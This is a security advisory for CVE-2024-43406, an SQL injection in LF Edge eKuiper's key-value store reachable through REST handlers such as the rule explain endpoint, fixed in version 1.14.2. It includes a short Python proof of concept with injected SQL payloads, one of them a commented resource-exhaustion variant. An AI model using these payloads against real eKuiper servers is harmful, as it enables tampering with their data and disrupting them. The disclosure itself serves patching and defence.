Advisory

GHSA-r5ph-4jxm-6j9p

Also known as: CVE-2024-43406, GO-2024-3078, PYSEC-2024-72

Summary

LF Edge eKuiper has a SQL Injection in sqlKvStore

Details

Summary
A user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sqlKvStore.

Details
I will use explainRuleHandler ("/rules/{name}/explain") as an example to illustrate. However, this vulnerability also exists in other methods such as sourceManageHandler, asyncTaskCancelHandler, pluginHandler, etc.

The SQL injection can happen in the code:
https://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/pkg/store/sql/sqlKv.go#L89-L93
The code to accept user input is:
https://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/server/rest.go#L274-L277

The rule id in the above code can be used to exploit SQL query.

Note that the delete function is also vulnerable:
https://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/pkg/store/sql/sqlKv.go#L138-L141

PoC

import requests
from urllib.parse import quote

# SELECT val FROM 'xxx' WHERE key='%s';
payload = f"""'; ATTACH DATABASE 'test93' AS test93;
CREATE TABLE test93.pwn (dataz text);
INSERT INTO test93.pwn (dataz) VALUES ("sql injection");--"""

#payload = "deadbeef'; SELECT 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(100000000))));--"

url = f"http://127.0.0.1:9081/rules/{quote(payload,safe='')}/explain"   # explainRuleHandler

res = requests.get(url)
print(res.content)

The screenshot shows the malicious SQL query to insert a value:
image

The screenshot shows the breakpoint of executing the query:
image

Impact
SQL Injection vulnerability

The reporters are Yuan Luo, Shuai Xiong, Haoyu Wang from Tencent YunDing Security Lab.

Severity

High Basis: The source's own band: HIGH

Dates

Published
2024-08-20 20:04 UTC
Modified
2026-09-10 03:50 UTC

Affected packages and fixes

github.com/lf-edge/ekuiper

Go · All systems

Affected

  • introduced 0, fixed 1.14.2 (semver)

Fixed versions

1.14.2

Fix

ekuiper

PyPI · All systems

Affected

  • introduced 0, fixed 1.14.2 (ecosystem)

Fixed versions

1.14.2

Fix

  • Fixed version 1.14.2
    pip install --upgrade ekuiper==1.14.2

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences